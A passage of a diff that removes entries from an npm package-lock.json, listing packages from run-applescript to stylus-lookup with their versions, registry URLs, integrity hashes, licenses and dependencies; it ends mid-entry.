"node_modules/run-applescript": { - "version": "7.1.0", - "resolved": "https://registry.npmjs.org/run-applescript/-/run-applescript-7.1.0.tgz", - "integrity": "sha512-DPe5pVFaAsinSaV6QjQ6gdiedWDcRCbUuiQfQa2wmWV7+xC9bGulGI8+TdRmoFkAPaBXk8CrAbnlY2ISniJ47Q==", - "license": "MIT", - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/run-parallel": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz", - "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==", - "dev": true, - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/feross" - }, - { - "type": "patreon", - "url": "https://www.patreon.com/feross" - }, - { - "type": "consulting", - "url": "https://feross.org/support" - } - ], - "license": "MIT", - "dependencies": { - "queue-microtask": "^1.2.2" - } - }, - "node_modules/safe-buffer": { - "version": "5.2.1", - "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", - "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/feross" - }, - { - "type": "patreon", - "url": "https://www.patreon.com/feross" - }, - { - "type": "consulting", - "url": "https://feross.org/support" - } - ], - "license": "MIT" - }, - "node_modules/safer-buffer": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", - "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==", - "license": "MIT" - }, - "node_modules/sass-lookup": { - "version": "6.1.2", - "resolved": "https://registry.npmjs.org/sass-lookup/-/sass-lookup-6.1.2.tgz", - "integrity": "sha512-GjmndmKQBtlPil79RK72L7yc5kDXZPCQeH97bP8R8DcxtXQJO6vECExb3WP/m6+cxaV9h4ZxrSRvCkPG2v/VSw==", - "dev": true, - "license": "MIT", - "dependencies": { - "commander": "^12.1.0", - "enhanced-resolve": "^5.20.0" - }, - "bin": { - "sass-lookup": "bin/cli.js" - }, - "engines": { - "node": ">=18" - } - }, - "node_modules/sass-lookup/node_modules/commander": { - "version": "12.1.0", - "resolved": "https://registry.npmjs.org/commander/-/commander-12.1.0.tgz", - "integrity": "sha512-Vw8qHK3bZM9y/P10u3Vib8o/DdkvA2OtPtZvD871QKjy74Wj1WSKFILMPRPSdUSx5RFK1arlJzEtA4PkFgnbuA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=18" - } - }, - "node_modules/selderee": { - "version": "0.11.0", - "resolved": "https://registry.npmjs.org/selderee/-/selderee-0.11.0.tgz", - "integrity": "sha512-5TF+l7p4+OsnP8BCCvSyZiSPc4x4//p5uPwK8TCnVPJYRmU2aYKMpOXvw8zM5a5JvuuCGN1jmsMwuU2W02ukfA==", - "license": "MIT", - "dependencies": { - "parseley": "^0.12.0" - }, - "funding": { - "url": "https://ko-fi.com/killymxi" - } - }, - "node_modules/semver": { - "version": "7.7.4", - "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.4.tgz", - "integrity": "sha512-vFKC2IEtQnVhpT78h1Yp8wzwrf8CM+MzKMHGJZfBtzhZNycRFnXsHk6E5TxIkkMsgNS7mdX3AGB7x2QM2di4lA==", - "license": "ISC", - "bin": { - "semver": "bin/semver.js" - }, - "engines": { - "node": ">=10" - } - }, - "node_modules/send": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/send/-/send-1.2.1.tgz", - "integrity": "sha512-1gnZf7DFcoIcajTjTwjwuDjzuz4PPcY2StKPlsGAQ1+YH20IRVrBaXSWmdjowTJ6u8Rc01PoYOGHXfP1mYcZNQ==", - "license": "MIT", - "dependencies": { - "debug": "^4.4.3", - "encodeurl": "^2.0.0", - "escape-html": "^1.0.3", - "etag": "^1.8.1", - "fresh": "^2.0.0", - "http-errors": "^2.0.1", - "mime-types": "^3.0.2", - "ms": "^2.1.3", - "on-finished": "^2.4.1", - "range-parser": "^1.2.1", - "statuses": "^2.0.2" - }, - "engines": { - "node": ">= 18" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/express" - } - }, - "node_modules/serve-static": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-2.2.1.tgz", - "integrity": "sha512-xRXBn0pPqQTVQiC8wyQrKs2MOlX24zQ0POGaj0kultvoOCstBQM5yvOhAVSUwOMjQtTvsPWoNCHfPGwaaQJhTw==", - "license": "MIT", - "dependencies": { - "encodeurl": "^2.0.0", - "escape-html": "^1.0.3", - "parseurl": "^1.3.3", - "send": "^1.2.0" - }, - "engines": { - "node": ">= 18" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/express" - } - }, - "node_modules/set-function-length": { - "version": "1.2.2", - "resolved": "https://registry.npmjs.org/set-function-length/-/set-function-length-1.2.2.tgz", - "integrity": "sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==", - "license": "MIT", - "dependencies": { - "define-data-property": "^1.1.4", - "es-errors": "^1.3.0", - "function-bind": "^1.1.2", - "get-intrinsic": "^1.2.4", - "gopd": "^1.0.1", - "has-property-descriptors": "^1.0.2" - }, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/setprototypeof": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz", - "integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==", - "license": "ISC" - }, - "node_modules/sharp": { - "version": "0.34.5", - "resolved": "https://registry.npmjs.org/sharp/-/sharp-0.34.5.tgz", - "integrity": "sha512-Ou9I5Ft9WNcCbXrU9cMgPBcCK8LiwLqcbywW3t4oDV37n1pzpuNLsYiAV8eODnjbtQlSDwZ2cUEeQz4E54Hltg==", - "hasInstallScript": true, - "license": "Apache-2.0", - "dependencies": { - "@img/colour": "^1.0.0", - "detect-libc": "^2.1.2", - "semver": "^7.7.3" - }, - "engines": { - "node": "^18.17.0 || ^20.3.0 || >=21.0.0" - }, - "funding": { - "url": "https://opencollective.com/libvips" - }, - "optionalDependencies": { - "@img/sharp-darwin-arm64": "0.34.5", - "@img/sharp-darwin-x64": "0.34.5", - "@img/sharp-libvips-darwin-arm64": "1.2.4", - "@img/sharp-libvips-darwin-x64": "1.2.4", - "@img/sharp-libvips-linux-arm": "1.2.4", - "@img/sharp-libvips-linux-arm64": "1.2.4", - "@img/sharp-libvips-linux-ppc64": "1.2.4", - "@img/sharp-libvips-linux-riscv64": "1.2.4", - "@img/sharp-libvips-linux-s390x": "1.2.4", - "@img/sharp-libvips-linux-x64": "1.2.4", - "@img/sharp-libvips-linuxmusl-arm64": "1.2.4", - "@img/sharp-libvips-linuxmusl-x64": "1.2.4", - "@img/sharp-linux-arm": "0.34.5", - "@img/sharp-linux-arm64": "0.34.5", - "@img/sharp-linux-ppc64": "0.34.5", - "@img/sharp-linux-riscv64": "0.34.5", - "@img/sharp-linux-s390x": "0.34.5", - "@img/sharp-linux-x64": "0.34.5", - "@img/sharp-linuxmusl-arm64": "0.34.5", - "@img/sharp-linuxmusl-x64": "0.34.5", - "@img/sharp-wasm32": "0.34.5", - "@img/sharp-win32-arm64": "0.34.5", - "@img/sharp-win32-ia32": "0.34.5", - "@img/sharp-win32-x64": "0.34.5" - } - }, - "node_modules/shebang-command": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", - "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", - "license": "MIT", - "dependencies": { - "shebang-regex": "^3.0.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/shebang-regex": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", - "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/shell-quote": { - "version": "1.8.3", - "resolved": "https://registry.npmjs.org/shell-quote/-/shell-quote-1.8.3.tgz", - "integrity": "sha512-ObmnIF4hXNg1BqhnHmgbDETF8dLPCggZWBjkQfhZpbszZnYur5DUljTcCHii5LC3J5E0yeO/1LIMyH+UvHQgyw==", - "license": "MIT", - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/side-channel": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.1.0.tgz", - "integrity": "sha512-ZX99e6tRweoUXqR+VBrslhda51Nh5MTQwou5tnUDgbtyM0dBgmhEDtWGP/xbKn6hqfPRHujUNwz5fy/wbbhnpw==", - "license": "MIT", - "dependencies": { - "es-errors": "^1.3.0", - "object-inspect": "^1.13.3", - "side-channel-list": "^1.0.0", - "side-channel-map": "^1.0.1", - "side-channel-weakmap": "^1.0.2" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/side-channel-list": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/side-channel-list/-/side-channel-list-1.0.0.tgz", - "integrity": "sha512-FCLHtRD/gnpCiCHEiJLOwdmFP+wzCmDEkc9y7NsYxeF4u7Btsn1ZuwgwJGxImImHicJArLP4R0yX4c2KCrMrTA==", - "license": "MIT", - "dependencies": { - "es-errors": "^1.3.0", - "object-inspect": "^1.13.3" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/side-channel-map": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/side-channel-map/-/side-channel-map-1.0.1.tgz", - "integrity": "sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA==", - "license": "MIT", - "dependencies": { - "call-bound": "^1.0.2", - "es-errors": "^1.3.0", - "get-intrinsic": "^1.2.5", - "object-inspect": "^1.13.3" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/side-channel-weakmap": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/side-channel-weakmap/-/side-channel-weakmap-1.0.2.tgz", - "integrity": "sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A==", - "license": "MIT", - "dependencies": { - "call-bound": "^1.0.2", - "es-errors": "^1.3.0", - "get-intrinsic": "^1.2.5", - "object-inspect": "^1.13.3", - "side-channel-map": "^1.0.1" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/siginfo": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/siginfo/-/siginfo-2.0.0.tgz", - "integrity": "sha512-ybx0WO1/8bSBLEWXZvEd7gMW3Sn3JFlW3TvX1nREbDLRNQNaeNN8WK0meBwPdAaOI7TtRRRJn/Es1zhrrCHu7g==", - "dev": true, - "license": "ISC" - }, - "node_modules/signal-exit": { - "version": "3.0.7", - "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz", - "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==", - "license": "ISC" - }, - "node_modules/simple-git": { - "version": "3.36.0", - "resolved": "https://registry.npmjs.org/simple-git/-/simple-git-3.36.0.tgz", - "integrity": "sha512-cGQjLjK8bxJw4QuYT7gxHw3/IouVESbhahSsHrX97MzCL1gu2u7oy38W6L2ZIGECEfIBG4BabsWDPjBxJENv9Q==", - "license": "MIT", - "dependencies": { - "@kwsites/file-exists": "^1.1.1", - "@kwsites/promise-deferred": "^1.1.1", - "@simple-git/args-pathspec": "^1.0.3", - "@simple-git/argv-parser": "^1.1.0", - "debug": "^4.4.0" - }, - "funding": { - "type": "github", - "url": "https://github.com/steveukx/git-js?sponsor=1" - } - }, - "node_modules/sisteransi": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/sisteransi/-/sisteransi-1.0.5.tgz", - "integrity": "sha512-bLGGlR1QxBcynn2d5YmDX4MGjlZvy2MRBDRNHLJ8VI6l6+9FUiyTFNJ0IveOSP0bcXgVDPRcfGqA0pjaqUpfVg==", - "license": "MIT" - }, - "node_modules/smart-buffer": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/smart-buffer/-/smart-buffer-4.2.0.tgz", - "integrity": "sha512-94hK0Hh8rPqQl2xXc3HsaBoOXKV20MToPkcXvwbISWLEs+64sBq5kFgn2kJDHb1Pry9yrP0dxrCI9RRci7RXKg==", - "license": "MIT", - "engines": { - "node": ">= 6.0.0", - "npm": ">= 3.0.0" - } - }, - "node_modules/socks": { - "version": "2.8.9", - "resolved": "https://registry.npmjs.org/socks/-/socks-2.8.9.tgz", - "integrity": "sha512-LJhUYUvItdQ0LkJTmPeaEObWXAqFyfmP85x0tch/ez9cahmhlBBLbIqDFnvBnUJGagb0JbIQrkBs1wJ+yRYpEw==", - "license": "MIT", - "dependencies": { - "ip-address": "^10.1.1", - "smart-buffer": "^4.2.0" - }, - "engines": { - "node": ">= 10.0.0", - "npm": ">= 3.0.0" - } - }, - "node_modules/socks-proxy-agent": { - "version": "10.0.0", - "resolved": "https://registry.npmjs.org/socks-proxy-agent/-/socks-proxy-agent-10.0.0.tgz", - "integrity": "sha512-pyp2YR3mNxAMu0mGLtzs4g7O3uT4/9sQOLAKcViAkaS9fJWkud7nmaf6ZREFqQEi24IPkBcjfHjXhPTUWjo3uA==", - "license": "MIT", - "dependencies": { - "agent-base": "9.0.0", - "debug": "^4.3.4", - "socks": "^2.8.3" - }, - "engines": { - "node": ">= 20" - } - }, - "node_modules/socks-proxy-agent/node_modules/agent-base": { - "version": "9.0.0", - "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-9.0.0.tgz", - "integrity": "sha512-TQf59BsZnytt8GdJKLPfUZ54g/iaUL2OWDSFCCvMOhsHduDQxO8xC4PNeyIkVcA5KwL2phPSv0douC0fgWzmnA==", - "license": "MIT", - "engines": { - "node": ">= 20" - } - }, - "node_modules/socks/node_modules/ip-address": { - "version": "10.2.0", - "resolved": "https://registry.npmjs.org/ip-address/-/ip-address-10.2.0.tgz", - "integrity": "sha512-/+S6j4E9AHvW9SWMSEY9Xfy66O5PWvVEJ08O0y5JGyEKQpojb0K0GKpz/v5HJ/G0vi3D2sjGK78119oXZeE0qA==", - "license": "MIT", - "engines": { - "node": ">= 12" - } - }, - "node_modules/source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "license": "BSD-3-Clause", - "optional": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/source-map-js": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz", - "integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==", - "dev": true, - "license": "BSD-3-Clause", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/spark-md5": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/spark-md5/-/spark-md5-3.0.2.tgz", - "integrity": "sha512-wcFzz9cDfbuqe0FZzfi2or1sgyIrsDwmPwfZC4hiNidPdPINjeUwNfv5kldczoEAcjl9Y1L3SM7Uz2PUEQzxQw==", - "dev": true, - "license": "(WTFPL OR MIT)" - }, - "node_modules/spdx-correct": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/spdx-correct/-/spdx-correct-3.2.0.tgz", - "integrity": "sha512-kN9dJbvnySHULIluDHy32WHRUu3Og7B9sbY7tsFLctQkIqnMh3hErYgdMjTYuqmcXX+lK5T1lnUt3G7zNswmZA==", - "license": "Apache-2.0", - "dependencies": { - "spdx-expression-parse": "^3.0.0", - "spdx-license-ids": "^3.0.0" - } - }, - "node_modules/spdx-exceptions": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/spdx-exceptions/-/spdx-exceptions-2.5.0.tgz", - "integrity": "sha512-PiU42r+xO4UbUS1buo3LPJkjlO7430Xn5SVAhdpzzsPHsjbYVflnnFdATgabnLude+Cqu25p6N+g2lw/PFsa4w==", - "license": "CC-BY-3.0" - }, - "node_modules/spdx-expression-parse": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/spdx-expression-parse/-/spdx-expression-parse-3.0.1.tgz", - "integrity": "sha512-cbqHunsQWnJNE6KhVSMsMeH5H/L9EpymbzqTQ3uLwNCLZ1Q481oWaofqH7nO6V07xlXwY6PhQdQ2IedWx/ZK4Q==", - "license": "MIT", - "dependencies": { - "spdx-exceptions": "^2.1.0", - "spdx-license-ids": "^3.0.0" - } - }, - "node_modules/spdx-license-ids": { - "version": "3.0.23", - "resolved": "https://registry.npmjs.org/spdx-license-ids/-/spdx-license-ids-3.0.23.tgz", - "integrity": "sha512-CWLcCCH7VLu13TgOH+r8p1O/Znwhqv/dbb6lqWy67G+pT1kHmeD/+V36AVb/vq8QMIQwVShJ6Ssl5FPh0fuSdw==", - "license": "CC0-1.0" - }, - "node_modules/stackback": { - "version": "0.0.2", - "resolved": "https://registry.npmjs.org/stackback/-/stackback-0.0.2.tgz", - "integrity": "sha512-1XMJE5fQo1jGH6Y/7ebnwPOBEkIEnT4QF32d5R1+VXdXveM0IBMJt8zfaxX1P3QhVwrYe+576+jkANtSS2mBbw==", - "dev": true, - "license": "MIT" - }, - "node_modules/standardwebhooks": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/standardwebhooks/-/standardwebhooks-1.0.0.tgz", - "integrity": "sha512-BbHGOQK9olHPMvQNHWul6MYlrRTAOKn03rOe4A8O3CLWhNf4YHBqq2HJKKC+sfqpxiBY52pNeesD6jIiLDz8jg==", - "license": "MIT", - "dependencies": { - "@stablelib/base64": "^1.0.0", - "fast-sha256": "^1.3.0" - } - }, - "node_modules/statuses": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.2.tgz", - "integrity": "sha512-DvEy55V3DB7uknRo+4iOGT5fP1slR8wQohVdknigZPMpMstaKJQWhwiYBACJE3Ul2pTnATihhBYnRhZQHGBiRw==", - "license": "MIT", - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/std-env": { - "version": "3.10.0", - "resolved": "https://registry.npmjs.org/std-env/-/std-env-3.10.0.tgz", - "integrity": "sha512-5GS12FdOZNliM5mAOxFRg7Ir0pWz8MdpYm6AY6VPkGpbA7ZzmbzNcBJQ0GPvvyWgcY7QAhCgf9Uy89I03faLkg==", - "license": "MIT" - }, - "node_modules/stream-events": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/stream-events/-/stream-events-1.0.5.tgz", - "integrity": "sha512-E1GUzBSgvct8Jsb3v2X15pjzN1tYebtbLaMg+eBOUOAxgbLoSbT2NS91ckc5lJD1KfLjId+jXJRgo0qnV5Nerg==", - "license": "MIT", - "dependencies": { - "stubs": "^3.0.0" - } - }, - "node_modules/stream-shift": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/stream-shift/-/stream-shift-1.0.3.tgz", - "integrity": "sha512-76ORR0DO1o1hlKwTbi/DM3EXWGf3ZJYO8cXX5RJwnul2DEg2oyoZyjLNoQM8WsvZiFKCRfC1O0J7iCvie3RZmQ==", - "license": "MIT" - }, - "node_modules/stream-to-array": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/stream-to-array/-/stream-to-array-2.3.0.tgz", - "integrity": "sha512-UsZtOYEn4tWU2RGLOXr/o/xjRBftZRlG3dEWoaHr8j4GuypJ3isitGbVyjQKAuMu+xbiop8q224TjiZWc4XTZA==", - "dev": true, - "license": "MIT", - "dependencies": { - "any-promise": "^1.1.0" - } - }, - "node_modules/streamx": { - "version": "2.25.0", - "resolved": "https://registry.npmjs.org/streamx/-/streamx-2.25.0.tgz", - "integrity": "sha512-0nQuG6jf1w+wddNEEXCF4nTg3LtufWINB5eFEN+5TNZW7KWJp6x87+JFL43vaAUPyCfH1wID+mNVyW6OHtFamg==", - "license": "MIT", - "dependencies": { - "events-universal": "^1.0.0", - "fast-fifo": "^1.3.2", - "text-decoder": "^1.1.0" - } - }, - "node_modules/string_decoder": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", - "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", - "license": "MIT", - "dependencies": { - "safe-buffer": "~5.2.0" - } - }, - "node_modules/string-width": { - "version": "4.2.3", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", - "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", - "license": "MIT", - "dependencies": { - "emoji-regex": "^8.0.0", - "is-fullwidth-code-point": "^3.0.0", - "strip-ansi": "^6.0.1" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/string-width-cjs": { - "name": "string-width", - "version": "4.2.3", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", - "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", - "license": "MIT", - "dependencies": { - "emoji-regex": "^8.0.0", - "is-fullwidth-code-point": "^3.0.0", - "strip-ansi": "^6.0.1" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/string-width-cjs/node_modules/ansi-regex": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", - "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/string-width-cjs/node_modules/strip-ansi": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", - "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", - "license": "MIT", - "dependencies": { - "ansi-regex": "^5.0.1" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/string-width/node_modules/ansi-regex": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", - "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/string-width/node_modules/strip-ansi": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", - "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", - "license": "MIT", - "dependencies": { - "ansi-regex": "^5.0.1" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/stringify-object": { - "version": "3.3.0", - "resolved": "https://registry.npmjs.org/stringify-object/-/stringify-object-3.3.0.tgz", - "integrity": "sha512-rHqiFh1elqCQ9WPLIC8I0Q/g/wj5J1eMkyoiD6eoQApWHP0FtlK7rqnhmabL5VUY9JQCcqwwvlOaSuutekgyrw==", - "dev": true, - "license": "BSD-2-Clause", - "dependencies": { - "get-own-enumerable-property-symbols": "^3.0.0", - "is-obj": "^1.0.1", - "is-regexp": "^1.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/stringify-object/node_modules/is-obj": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/is-obj/-/is-obj-1.0.1.tgz", - "integrity": "sha512-l4RyHgRqGN4Y3+9JHVrNqO+tN0rV5My76uW5/nuO4K1b6vw5G8d/cmFjP9tRfEsdhZNt0IFdZuK/c2Vr4Nb+Qg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/strip-ansi": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.2.0.tgz", - "integrity": "sha512-yDPMNjp4WyfYBkHnjIRLfca1i6KMyGCtsVgoKe/z1+6vukgaENdgGBZt+ZmKPc4gavvEZ5OgHfHdrazhgNyG7w==", - "license": "MIT", - "dependencies": { - "ansi-regex": "^6.2.2" - }, - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://github.com/chalk/strip-ansi?sponsor=1" - } - }, - "node_modules/strip-ansi-cjs": { - "name": "strip-ansi", - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", - "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", - "license": "MIT", - "dependencies": { - "ansi-regex": "^5.0.1" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/strip-ansi-cjs/node_modules/ansi-regex": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", - "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/strip-bom": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-3.0.0.tgz", - "integrity": "sha512-vavAMRXOgBVNF6nyEEmL3DBK19iRpDcoIwW+swQ+CbGiu7lju6t+JklA1MHweoWtadgt4ISVUsXLyDq34ddcwA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=4" - } - }, - "node_modules/strip-final-newline": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/strip-final-newline/-/strip-final-newline-4.0.0.tgz", - "integrity": "sha512-aulFJcD6YK8V1G7iRB5tigAP4TsHBZZrOV8pjV++zdUwmeV8uzbY7yn6h9MswN62adStNZFuCIx4haBnRuMDaw==", - "license": "MIT", - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/strip-json-comments": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz", - "integrity": "sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==", - "license": "MIT", - "engines": { - "node": ">=8" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/strnum": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/strnum/-/strnum-2.3.0.tgz", - "integrity": "sha512-ums3KNd42PGyx5xaoVTO1mjU1bH3NpY4vsrVlnv9PNGqQj8wd7rJ6nEypLrJ7z5vxK5RP0yMLo6J/Gsm62DI5Q==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/NaturalIntelligence" - } - ], - "license": "MIT" - }, - "node_modules/strtok3": { - "version": "10.3.4", - "resolved": "https://registry.npmjs.org/strtok3/-/strtok3-10.3.4.tgz", - "integrity": "sha512-KIy5nylvC5le1OdaaoCJ07L+8iQzJHGH6pWDuzS+d07Cu7n1MZ2x26P8ZKIWfbK02+XIL8Mp4RkWeqdUCrDMfg==", - "license": "MIT", - "dependencies": { - "@tokenizer/token": "^0.3.0" - }, - "engines": { - "node": ">=18" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/Borewit" - } - }, - "node_modules/stubs": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/stubs/-/stubs-3.0.0.tgz", - "integrity": "sha512-PdHt7hHUJKxvTCgbKX9C1V/ftOcjJQgz8BZwNfV5c4B6dcGqlpelTbJ999jBGZ2jYiPAwcX5dP6oBwVlBlUbxw==", - "license": "MIT" - }, - "node_modules/stylus-lookup": { - "version": "6.1.2", - "resolved": 